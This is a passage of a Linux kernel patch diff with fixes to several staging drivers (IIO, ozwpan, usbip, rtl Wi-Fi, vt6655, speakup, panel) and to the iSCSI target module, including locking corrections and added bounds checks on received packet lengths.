(ret) + if (ret < 0) goto error_ret; val = ret; if (base_freq > 0) diff --git a/drivers/staging/iio/adc/lpc32xx_adc.c b/drivers/staging/iio/adc/lpc32xx_adc.c index 2f2f7fdd06913..9cbe2dd70499e 100644 --- a/drivers/staging/iio/adc/lpc32xx_adc.c +++ b/drivers/staging/iio/adc/lpc32xx_adc.c @@ -76,7 +76,7 @@ static int lpc32xx_read_raw(struct iio_dev *indio_dev, if (mask == IIO_CHAN_INFO_RAW) { mutex_lock(&indio_dev->mlock); - clk_enable(info->clk); + clk_prepare_enable(info->clk); /* Measurement setup */ __raw_writel(AD_INTERNAL | (chan->address) | AD_REFp | AD_REFm, LPC32XX_ADC_SELECT(info->adc_base)); @@ -84,7 +84,7 @@ static int lpc32xx_read_raw(struct iio_dev *indio_dev, __raw_writel(AD_PDN_CTRL | AD_STROBE, LPC32XX_ADC_CTRL(info->adc_base)); wait_for_completion(&info->completion); /* set by ISR */ - clk_disable(info->clk); + clk_disable_unprepare(info->clk); *val = info->value; mutex_unlock(&indio_dev->mlock); diff --git a/drivers/staging/iio/impedance-analyzer/ad5933.c b/drivers/staging/iio/impedance-analyzer/ad5933.c index 6330af656a0f5..bc23d66a7a1e8 100644 --- a/drivers/staging/iio/impedance-analyzer/ad5933.c +++ b/drivers/staging/iio/impedance-analyzer/ad5933.c @@ -115,6 +115,7 @@ static const struct iio_chan_spec ad5933_channels[] = { .channel = 0, .info_mask_separate = BIT(IIO_CHAN_INFO_PROCESSED), .address = AD5933_REG_TEMP_DATA, + .scan_index = -1, .scan_type = { .sign = 's', .realbits = 14, @@ -124,9 +125,7 @@ static const struct iio_chan_spec ad5933_channels[] = { .type = IIO_VOLTAGE, .indexed = 1, .channel = 0, - .extend_name = "real_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW) | - BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "real", .address = AD5933_REG_REAL_DATA, .scan_index = 0, .scan_type = { @@ -138,9 +137,7 @@ static const struct iio_chan_spec ad5933_channels[] = { .type = IIO_VOLTAGE, .indexed = 1, .channel = 0, - .extend_name = "imag_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW) | - BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "imag", .address = AD5933_REG_IMAG_DATA, .scan_index = 1, .scan_type = { @@ -746,14 +743,14 @@ static int ad5933_probe(struct i2c_client *client, indio_dev->name = id->name; indio_dev->modes = INDIO_DIRECT_MODE; indio_dev->channels = ad5933_channels; - indio_dev->num_channels = 1; /* only register temp0_input */ + indio_dev->num_channels = ARRAY_SIZE(ad5933_channels); ret = ad5933_register_ring_funcs_and_init(indio_dev); if (ret) goto error_disable_reg; - /* skip temp0_input, register in0_(real|imag)_raw */ - ret = iio_buffer_register(indio_dev, &ad5933_channels[1], 2); + ret = iio_buffer_register(indio_dev, ad5933_channels, + ARRAY_SIZE(ad5933_channels)); if (ret) goto error_unreg_ring; diff --git a/drivers/staging/iio/meter/ade7758.h b/drivers/staging/iio/meter/ade7758.h index 07318203a836e..e8c98cf570701 100644 --- a/drivers/staging/iio/meter/ade7758.h +++ b/drivers/staging/iio/meter/ade7758.h @@ -119,7 +119,6 @@ struct ade7758_state { u8 *tx; u8 *rx; struct mutex buf_lock; - const struct iio_chan_spec *ade7758_ring_channels; struct spi_transfer ring_xfer[4]; struct spi_message ring_msg; /* diff --git a/drivers/staging/iio/meter/ade7758_core.c b/drivers/staging/iio/meter/ade7758_core.c index 8f5bcfab3563a..75d9fe6a1bc1b 100644 --- a/drivers/staging/iio/meter/ade7758_core.c +++ b/drivers/staging/iio/meter/ade7758_core.c @@ -648,9 +648,6 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_VOLTAGE, .indexed = 1, .channel = 0, - .extend_name = "raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), .address = AD7758_WT(AD7758_PHASE_A, AD7758_VOLTAGE), .scan_index = 0, .scan_type = { @@ -662,9 +659,6 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_CURRENT, .indexed = 1, .channel = 0, - .extend_name = "raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), .address = AD7758_WT(AD7758_PHASE_A, AD7758_CURRENT), .scan_index = 1, .scan_type = { @@ -676,9 +670,7 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_POWER, .indexed = 1, .channel = 0, - .extend_name = "apparent_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "apparent", .address = AD7758_WT(AD7758_PHASE_A, AD7758_APP_PWR), .scan_index = 2, .scan_type = { @@ -690,9 +682,7 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_POWER, .indexed = 1, .channel = 0, - .extend_name = "active_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "active", .address = AD7758_WT(AD7758_PHASE_A, AD7758_ACT_PWR), .scan_index = 3, .scan_type = { @@ -704,9 +694,7 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_POWER, .indexed = 1, .channel = 0, - .extend_name = "reactive_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "reactive", .address = AD7758_WT(AD7758_PHASE_A, AD7758_REACT_PWR), .scan_index = 4, .scan_type = { @@ -718,9 +706,6 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_VOLTAGE, .indexed = 1, .channel = 1, - .extend_name = "raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), .address = AD7758_WT(AD7758_PHASE_B, AD7758_VOLTAGE), .scan_index = 5, .scan_type = { @@ -732,9 +717,6 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_CURRENT, .indexed = 1, .channel = 1, - .extend_name = "raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), .address = AD7758_WT(AD7758_PHASE_B, AD7758_CURRENT), .scan_index = 6, .scan_type = { @@ -746,9 +728,7 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_POWER, .indexed = 1, .channel = 1, - .extend_name = "apparent_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "apparent", .address = AD7758_WT(AD7758_PHASE_B, AD7758_APP_PWR), .scan_index = 7, .scan_type = { @@ -760,9 +740,7 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_POWER, .indexed = 1, .channel = 1, - .extend_name = "active_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "active", .address = AD7758_WT(AD7758_PHASE_B, AD7758_ACT_PWR), .scan_index = 8, .scan_type = { @@ -774,9 +752,7 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_POWER, .indexed = 1, .channel = 1, - .extend_name = "reactive_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "reactive", .address = AD7758_WT(AD7758_PHASE_B, AD7758_REACT_PWR), .scan_index = 9, .scan_type = { @@ -788,9 +764,6 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_VOLTAGE, .indexed = 1, .channel = 2, - .extend_name = "raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), .address = AD7758_WT(AD7758_PHASE_C, AD7758_VOLTAGE), .scan_index = 10, .scan_type = { @@ -802,9 +775,6 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_CURRENT, .indexed = 1, .channel = 2, - .extend_name = "raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), .address = AD7758_WT(AD7758_PHASE_C, AD7758_CURRENT), .scan_index = 11, .scan_type = { @@ -816,9 +786,7 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_POWER, .indexed = 1, .channel = 2, - .extend_name = "apparent_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "apparent", .address = AD7758_WT(AD7758_PHASE_C, AD7758_APP_PWR), .scan_index = 12, .scan_type = { @@ -830,9 +798,7 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_POWER, .indexed = 1, .channel = 2, - .extend_name = "active_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "active", .address = AD7758_WT(AD7758_PHASE_C, AD7758_ACT_PWR), .scan_index = 13, .scan_type = { @@ -844,9 +810,7 @@ static const struct iio_chan_spec ade7758_channels[] = { .type = IIO_POWER, .indexed = 1, .channel = 2, - .extend_name = "reactive_raw", - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), + .extend_name = "reactive", .address = AD7758_WT(AD7758_PHASE_C, AD7758_REACT_PWR), .scan_index = 14, .scan_type = { @@ -890,13 +854,14 @@ static int ade7758_probe(struct spi_device *spi) goto error_free_rx; } st->us = spi; - st->ade7758_ring_channels = &ade7758_channels[0]; mutex_init(&st->buf_lock); indio_dev->name = spi->dev.driver->name; indio_dev->dev.parent = &spi->dev; indio_dev->info = &ade7758_info; indio_dev->modes = INDIO_DIRECT_MODE; + indio_dev->channels = ade7758_channels; + indio_dev->num_channels = ARRAY_SIZE(ade7758_channels); ret = ade7758_configure_ring(indio_dev); if (ret) diff --git a/drivers/staging/iio/meter/ade7758_ring.c b/drivers/staging/iio/meter/ade7758_ring.c index b29e2d5d99377..6a0ef97e91465 100644 --- a/drivers/staging/iio/meter/ade7758_ring.c +++ b/drivers/staging/iio/meter/ade7758_ring.c @@ -89,11 +89,10 @@ static irqreturn_t ade7758_trigger_handler(int irq, void *p) **/ static int ade7758_ring_preenable(struct iio_dev *indio_dev) { - struct ade7758_state *st = iio_priv(indio_dev); unsigned channel; int ret; - if (!bitmap_empty(indio_dev->active_scan_mask, indio_dev->masklength)) + if (bitmap_empty(indio_dev->active_scan_mask, indio_dev->masklength)) return -EINVAL; ret = iio_sw_buffer_preenable(indio_dev); @@ -104,7 +103,7 @@ static int ade7758_ring_preenable(struct iio_dev *indio_dev) indio_dev->masklength); ade7758_write_waveform_type(&indio_dev->dev, - st->ade7758_ring_channels[channel].address); + indio_dev->channels[channel].address); return 0; } diff --git a/drivers/staging/iio/meter/ade7758_trigger.c b/drivers/staging/iio/meter/ade7758_trigger.c index 7a94ddd42f593..8c4f2896cd0d6 100644 --- a/drivers/staging/iio/meter/ade7758_trigger.c +++ b/drivers/staging/iio/meter/ade7758_trigger.c @@ -85,7 +85,7 @@ int ade7758_probe_trigger(struct iio_dev *indio_dev) ret = iio_trigger_register(st->trig); /* select default trigger */ - indio_dev->trig = st->trig; + indio_dev->trig = iio_trigger_get(st->trig); if (ret) goto error_free_irq; diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c index 4e4b650fee3f5..d4f55b08ef789 100644 --- a/drivers/staging/ozwpan/ozusbsvc1.c +++ b/drivers/staging/ozwpan/ozusbsvc1.c @@ -314,7 +314,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr; u8 *data = body->data; - int n = (len - sizeof(struct oz_multiple_fixed)+1) + unsigned int n; + if (!body->unit_size || + len < sizeof(struct oz_multiple_fixed) - 1) + break; + n = (len - (sizeof(struct oz_multiple_fixed) - 1)) / body->unit_size; while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, @@ -376,10 +380,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) case OZ_GET_DESC_RSP: { struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; - int data_len = elt->length - - sizeof(struct oz_get_desc_rsp) + 1; - u16 offs = le16_to_cpu(get_unaligned(&body->offset)); - u16 total_size = + u16 offs, total_size; + u8 data_len; + + if (elt->length < sizeof(struct oz_get_desc_rsp) - 1) + break; + data_len = elt->length - + (sizeof(struct oz_get_desc_rsp) - 1); + offs = le16_to_cpu(get_unaligned(&body->offset)); + total_size = le16_to_cpu(get_unaligned(&body->total_size)); oz_trace("USB_REQ_GET_DESCRIPTOR - cnf\n"); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, diff --git a/drivers/staging/panel/panel.c b/drivers/staging/panel/panel.c index c54df3948e202..4d0a87b93b96b 100644 --- a/drivers/staging/panel/panel.c +++ b/drivers/staging/panel/panel.c @@ -275,11 +275,11 @@ static unsigned char lcd_bits[LCD_PORTS][LCD_BITS][BIT_STATES]; * LCD types */ #define LCD_TYPE_NONE 0 -#define LCD_TYPE_OLD 1 -#define LCD_TYPE_KS0074 2 -#define LCD_TYPE_HANTRONIX 3 -#define LCD_TYPE_NEXCOM 4 -#define LCD_TYPE_CUSTOM 5 +#define LCD_TYPE_CUSTOM 1 +#define LCD_TYPE_OLD 2 +#define LCD_TYPE_KS0074 3 +#define LCD_TYPE_HANTRONIX 4 +#define LCD_TYPE_NEXCOM 5 /* * keypad types @@ -457,8 +457,7 @@ MODULE_PARM_DESC(keypad_enabled, "Deprecated option, use keypad_type instead"); static int lcd_type = -1; module_param(lcd_type, int, 0000); MODULE_PARM_DESC(lcd_type, - "LCD type: 0=none, 1=old //, 2=serial ks0074, " - "3=hantronix //, 4=nexcom //, 5=compiled-in"); + "LCD type: 0=none, 1=compiled-in, 2=old, 3=serial ks0074, 4=hantronix, 5=nexcom"); static int lcd_proto = -1; module_param(lcd_proto, int, 0000); diff --git a/drivers/staging/rtl8187se/ieee80211/ieee80211.h b/drivers/staging/rtl8187se/ieee80211/ieee80211.h index 8fc9f588b056a..9fdd566e8d4ad 100644 --- a/drivers/staging/rtl8187se/ieee80211/ieee80211.h +++ b/drivers/staging/rtl8187se/ieee80211/ieee80211.h @@ -1447,12 +1447,12 @@ extern void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, shor extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +static inline void ieee80211_increment_scans(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +static inline int ieee80211_get_scans(struct ieee80211_device *ieee) { return ieee->scans; } diff --git a/drivers/staging/rtl8192e/rtllib.h b/drivers/staging/rtl8192e/rtllib.h index 3485ef1dfab15..f35948ec5ebf4 100644 --- a/drivers/staging/rtl8192e/rtllib.h +++ b/drivers/staging/rtl8192e/rtllib.h @@ -2761,7 +2761,6 @@ extern void rtllib_stop_scan(struct rtllib_device *ieee); extern bool rtllib_act_scanning(struct rtllib_device *ieee, bool sync_scan); extern void rtllib_stop_scan_syncro(struct rtllib_device *ieee); extern void rtllib_start_scan_syncro(struct rtllib_device *ieee, u8 is_mesh); -extern inline struct sk_buff *rtllib_probe_req(struct rtllib_device *ieee); extern u8 MgntQuery_MgntFrameTxRate(struct rtllib_device *ieee); extern void rtllib_sta_ps_send_null_frame(struct rtllib_device *ieee, short pwr); @@ -2943,12 +2942,12 @@ void rtllib_softmac_scan_syncro(struct rtllib_device *ieee, u8 is_mesh); extern const long rtllib_wlan_frequencies[]; -extern inline void rtllib_increment_scans(struct rtllib_device *ieee) +static inline void rtllib_increment_scans(struct rtllib_device *ieee) { ieee->scans++; } -extern inline int rtllib_get_scans(struct rtllib_device *ieee) +static inline int rtllib_get_scans(struct rtllib_device *ieee) { return ieee->scans; } diff --git a/drivers/staging/rtl8192e/rtllib_softmac.c b/drivers/staging/rtl8192e/rtllib_softmac.c index 4feecec8609c6..0e4e83758d6a9 100644 --- a/drivers/staging/rtl8192e/rtllib_softmac.c +++ b/drivers/staging/rtl8192e/rtllib_softmac.c @@ -341,7 +341,7 @@ inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, } } -inline struct sk_buff *rtllib_probe_req(struct rtllib_device *ieee) +static inline struct sk_buff *rtllib_probe_req(struct rtllib_device *ieee) { unsigned int len, rate_len; u8 *tag; diff --git a/drivers/staging/rtl8192u/ieee80211/ieee80211.h b/drivers/staging/rtl8192u/ieee80211/ieee80211.h index 210898c8e66c1..e1339c33888fa 100644 --- a/drivers/staging/rtl8192u/ieee80211/ieee80211.h +++ b/drivers/staging/rtl8192u/ieee80211/ieee80211.h @@ -2250,7 +2250,7 @@ static inline void *ieee80211_priv(struct net_device *dev) return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +static inline int ieee80211_is_empty_essid(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -2266,7 +2266,7 @@ extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +static inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -2292,7 +2292,7 @@ extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mod return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +static inline int ieee80211_get_hdrlen(u16 fc) { int hdrlen = IEEE80211_3ADDR_LEN; @@ -2578,12 +2578,12 @@ void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee); extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +static inline void ieee80211_increment_scans(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +static inline int ieee80211_get_scans(struct ieee80211_device *ieee) { return ieee->scans; } diff --git a/drivers/staging/rtl8712/ieee80211.h b/drivers/staging/rtl8712/ieee80211.h index da4000e49da61..8269be80437ac 100644 --- a/drivers/staging/rtl8712/ieee80211.h +++ b/drivers/staging/rtl8712/ieee80211.h @@ -734,7 +734,7 @@ enum ieee80211_state { #define IEEE_G (1<<2) #define IEEE_MODE_MASK (IEEE_A|IEEE_B|IEEE_G) -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +static inline int ieee80211_is_empty_essid(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -748,7 +748,7 @@ extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) return 1; } -extern inline int ieee80211_get_hdrlen(u16 fc) +static inline int ieee80211_get_hdrlen(u16 fc) { int hdrlen = 24; diff --git a/drivers/staging/rtl8712/rtl8712_recv.c b/drivers/staging/rtl8712/rtl8712_recv.c index d59a74aa30489..4b25f3afb8dc9 100644 --- a/drivers/staging/rtl8712/rtl8712_recv.c +++ b/drivers/staging/rtl8712/rtl8712_recv.c @@ -1075,7 +1075,8 @@ static int recvbuf2recvframe(struct _adapter *padapter, struct sk_buff *pskb) /* for first fragment packet, driver need allocate 1536 + * drvinfo_sz + RXDESC_SIZE to defrag packet. */ if ((mf == 1) && (frag == 0)) - alloc_sz = 1658;/*1658+6=1664, 1664 is 128 alignment.*/ + /*1658+6=1664, 1664 is 128 alignment.*/ + alloc_sz = max_t(u16, tmp_len, 1658); else alloc_sz = tmp_len; /* 2 is for IP header 4 bytes alignment in QoS packet case. diff --git a/drivers/staging/rtl8712/usb_intf.c b/drivers/staging/rtl8712/usb_intf.c index e3a005da776b8..1d9ab22d9a25c 100644 --- a/drivers/staging/rtl8712/usb_intf.c +++ b/drivers/staging/rtl8712/usb_intf.c @@ -144,6 +144,7 @@ static struct usb_device_id rtl871x_usb_id_tbl[] = { {USB_DEVICE(0x0DF6, 0x0058)}, {USB_DEVICE(0x0DF6, 0x0049)}, {USB_DEVICE(0x0DF6, 0x004C)}, + {USB_DEVICE(0x0DF6, 0x006C)}, {USB_DEVICE(0x0DF6, 0x0064)}, /* Skyworth */ {USB_DEVICE(0x14b2, 0x3300)}, diff --git a/drivers/staging/speakup/fakekey.c b/drivers/staging/speakup/fakekey.c index 4299cf45f947d..5e1f16c36b49a 100644 --- a/drivers/staging/speakup/fakekey.c +++ b/drivers/staging/speakup/fakekey.c @@ -81,6 +81,7 @@ void speakup_fake_down_arrow(void) __this_cpu_write(reporting_keystroke, true); input_report_key(virt_keyboard, KEY_DOWN, PRESSED); input_report_key(virt_keyboard, KEY_DOWN, RELEASED); + input_sync(virt_keyboard); __this_cpu_write(reporting_keystroke, false); /* reenable preemption */ diff --git a/drivers/staging/speakup/selection.c b/drivers/staging/speakup/selection.c index f67941e78e4a4..364978e63d8dd 100644 --- a/drivers/staging/speakup/selection.c +++ b/drivers/staging/speakup/selection.c @@ -5,6 +5,7 @@ #include /* for dev_warn */ #include #include +#include #include #include "speakup.h" @@ -135,8 +136,14 @@ static void __speakup_paste_selection(struct work_struct *work) struct tty_struct *tty = xchg(&spw->tty, NULL); struct vc_data *vc = (struct vc_data *) tty->driver_data; int pasted = 0, count; + struct tty_ldisc *ld; DECLARE_WAITQUEUE(wait, current); + ld = tty_ldisc_ref(tty); + if (!ld) + goto tty_unref; + + /* FIXME: this is completely unsafe */ add_wait_queue(&vc->paste_wait, &wait); while (sel_buffer && sel_buffer_lth > pasted) { set_current_state(TASK_INTERRUPTIBLE); @@ -146,12 +153,14 @@ static void __speakup_paste_selection(struct work_struct *work) } count = sel_buffer_lth - pasted; count = min_t(int, count, tty->receive_room); - tty->ldisc->ops->receive_buf(tty, sel_buffer + pasted, - NULL, count); + ld->ops->receive_buf(tty, sel_buffer + pasted, NULL, count); pasted += count; } remove_wait_queue(&vc->paste_wait, &wait); current->state = TASK_RUNNING; + + tty_ldisc_deref(ld); +tty_unref: tty_kref_put(tty); } diff --git a/drivers/staging/usbip/usbip_common.c b/drivers/staging/usbip/usbip_common.c index 7b97df6f2a422..b4f237e559318 100644 --- a/drivers/staging/usbip/usbip_common.c +++ b/drivers/staging/usbip/usbip_common.c @@ -784,6 +784,17 @@ int usbip_recv_xbuff(struct usbip_device *ud, struct urb *urb) if (!(size > 0)) return 0; + if (size > urb->transfer_buffer_length) { + /* should not happen, probably malicious packet */ + if (ud->side == USBIP_STUB) { + usbip_event_add(ud, SDEV_EVENT_ERROR_TCP); + return 0; + } else { + usbip_event_add(ud, VDEV_EVENT_ERROR_TCP); + return -EPIPE; + } + } + ret = usbip_recv(ud->tcp_socket, urb->transfer_buffer, size); if (ret != size) { dev_err(&urb->dev->dev, "recv xbuf, %d\n", ret); diff --git a/drivers/staging/vt6655/bssdb.c b/drivers/staging/vt6655/bssdb.c index f983915168b78..3496a77612bac 100644 --- a/drivers/staging/vt6655/bssdb.c +++ b/drivers/staging/vt6655/bssdb.c @@ -1026,7 +1026,7 @@ BSSvSecondCallBack( pDevice->byERPFlag &= ~(WLAN_SET_ERP_USE_PROTECTION(1)); } - { + if (pDevice->eCommandState == WLAN_ASSOCIATE_WAIT) { pDevice->byReAssocCount++; if ((pDevice->byReAssocCount > 10) && (pDevice->bLinkPass != true)) { //10 sec timeout printk("Re-association timeout!!!\n"); diff --git a/drivers/staging/vt6655/device_main.c b/drivers/staging/vt6655/device_main.c index 08b250f01dae6..d170b6f9db7cf 100644 --- a/drivers/staging/vt6655/device_main.c +++ b/drivers/staging/vt6655/device_main.c @@ -2434,6 +2434,7 @@ static irqreturn_t device_intr(int irq, void *dev_instance) { int handled = 0; unsigned char byData = 0; int ii = 0; + unsigned long flags; // unsigned char byRSSI; MACvReadISR(pDevice->PortOffset, &pDevice->dwIsr); @@ -2459,7 +2460,8 @@ static irqreturn_t device_intr(int irq, void *dev_instance) { handled = 1; MACvIntDisable(pDevice->PortOffset); - spin_lock_irq(&pDevice->lock); + + spin_lock_irqsave(&pDevice->lock, flags); //Make sure current page is 0 VNSvInPortB(pDevice->PortOffset + MAC_REG_PAGE1SEL, &byOrgPageSel); @@ -2700,7 +2702,8 @@ static irqreturn_t device_intr(int irq, void *dev_instance) { MACvSelectPage1(pDevice->PortOffset); } - spin_unlock_irq(&pDevice->lock); + spin_unlock_irqrestore(&pDevice->lock, flags); + MACvIntEnable(pDevice->PortOffset, IMR_MASK_VALUE); return IRQ_RETVAL(handled); diff --git a/drivers/staging/vt6655/rf.c b/drivers/staging/vt6655/rf.c index 6948984a25ab0..c2d6028254229 100644 --- a/drivers/staging/vt6655/rf.c +++ b/drivers/staging/vt6655/rf.c @@ -966,6 +966,7 @@ bool RFbSetPower( break; case RATE_6M: case RATE_9M: + case RATE_12M: case RATE_18M: byPwr = pDevice->abyOFDMPwrTbl[uCH]; if (pDevice->byRFType == RF_UW2452) { diff --git a/drivers/staging/wlags49_h2/wl_internal.h b/drivers/staging/wlags49_h2/wl_internal.h index b230781641491..11b00c39a98cb 100644 --- a/drivers/staging/wlags49_h2/wl_internal.h +++ b/drivers/staging/wlags49_h2/wl_internal.h @@ -1014,7 +1014,7 @@ static inline void wl_unlock(struct wl_private *lp, /* Interrupt enable disable functions */ /********************************************************************/ -extern inline void wl_act_int_on(struct wl_private *lp) +static inline void wl_act_int_on(struct wl_private *lp) { /* * Only do something when the driver is handling @@ -1026,7 +1026,7 @@ extern inline void wl_act_int_on(struct wl_private *lp) } } -extern inline void wl_act_int_off(struct wl_private *lp) +static inline void wl_act_int_off(struct wl_private *lp) { /* * Only do something when the driver is handling diff --git a/drivers/target/iscsi/iscsi_target.c b/drivers/target/iscsi/iscsi_target.c index 799f84e686b5d..d74da9598d58a 100644 --- a/drivers/target/iscsi/iscsi_target.c +++ b/drivers/target/iscsi/iscsi_target.c @@ -518,7 +518,7 @@ static struct iscsit_transport iscsi_target_transport = { static int __init iscsi_target_init_module(void) { - int ret = 0; + int ret = 0, size; pr_debug("iSCSI-Target "ISCSIT_VERSION"\n"); @@ -527,6 +527,7 @@ static int __init iscsi_target_init_module(void) pr_err("Unable to allocate memory for iscsit_global\n"); return -1; } + spin_lock_init(&iscsit_global->ts_bitmap_lock); mutex_init(&auth_id_lock); spin_lock_init(&sess_idr_lock); idr_init(&tiqn_idr); @@ -536,15 +537,11 @@ static int __init iscsi_target_init_module(void) if (ret < 0) goto out; - ret = iscsi_thread_set_init(); - if (ret < 0) + size = BITS_TO_LONGS(ISCSIT_BITMAP_BITS) * sizeof(long); + iscsit_global->ts_bitmap = vzalloc(size); + if (!iscsit_global->ts_bitmap) { + pr_err("Unable to allocate iscsit_global->ts_bitmap\n"); goto configfs_out; - - if (iscsi_allocate_thread_sets(TARGET_THREAD_SET_COUNT) != - TARGET_THREAD_SET_COUNT) { - pr_err("iscsi_allocate_thread_sets() returned" - " unexpected value!\n"); - goto ts_out1; } lio_cmd_cache = kmem_cache_create("lio_cmd_cache", @@ -553,7 +550,7 @@ static int __init iscsi_target_init_module(void) if (!lio_cmd_cache) { pr_err("Unable to kmem_cache_create() for" " lio_cmd_cache\n"); - goto ts_out2; + goto bitmap_out; } lio_qr_cache = kmem_cache_create("lio_qr_cache", @@ -608,10 +605,8 @@ static int __init iscsi_target_init_module(void) kmem_cache_destroy(lio_qr_cache); cmd_out: kmem_cache_destroy(lio_cmd_cache); -ts_out2: - iscsi_deallocate_thread_sets(); -ts_out1: - iscsi_thread_set_free(); +bitmap_out: + vfree(iscsit_global->ts_bitmap); configfs_out: iscsi_target_deregister_configfs(); out: @@ -621,8 +616,6 @@ static int __init iscsi_target_init_module(void) static void __exit iscsi_target_cleanup_module(void) { - iscsi_deallocate_thread_sets(); - iscsi_thread_set_free(); iscsit_release_discovery_tpg(); iscsit_unregister_transport(&iscsi_target_transport); kmem_cache_destroy(lio_cmd_cache); @@ -633,6 +626,7 @@ static void __exit iscsi_target_cleanup_module(void) iscsi_target_deregister_configfs(); + vfree(iscsit_global->ts_bitmap); kfree(iscsit_global); } @@ -1179,7 +1173,7 @@ iscsit_handle_scsi_cmd(struct iscsi_conn *conn, struct iscsi_cmd *cmd, * traditional iSCSI block I/O. */ if (iscsit_allocate_iovecs(cmd) < 0) { - return iscsit_add_reject_cmd(cmd, + return iscsit_reject_cmd(cmd, ISCSI_REASON_BOOKMARK_NO_RESOURCES, buf); } immed_data = cmd->immediate_data; @@ -3590,17 +3584,16 @@ static int iscsit_send_reject( void iscsit_thread_get_cpumask(struct iscsi_conn *conn) { - struct iscsi_thread_set *ts = conn->thread_set; int ord, cpu; /* - * thread_id is assigned from iscsit_global->ts_bitmap from - * within iscsi_thread_set.c:iscsi_allocate_thread_sets() + * bitmap_id is assigned from iscsit_global->ts_bitmap from + * within iscsit_start_kthreads() * - * Here we use thread_id to determine which CPU that this - * iSCSI connection's iscsi_thread_set will be scheduled to + * Here we use bitmap_id to determine which CPU that this + * iSCSI connection's RX/TX threads will be scheduled to * execute upon. */ - ord = ts->thread_id % cpumask_weight(cpu_online_mask); + ord = conn->bitmap_id % cpumask_weight(cpu_online_mask); for_each_online_cpu(cpu) { if (ord-- == 0) { cpumask_set_cpu(cpu, conn->conn_cpumask); @@ -3792,7 +3785,7 @@ iscsit_response_queue(struct iscsi_conn *conn, struct 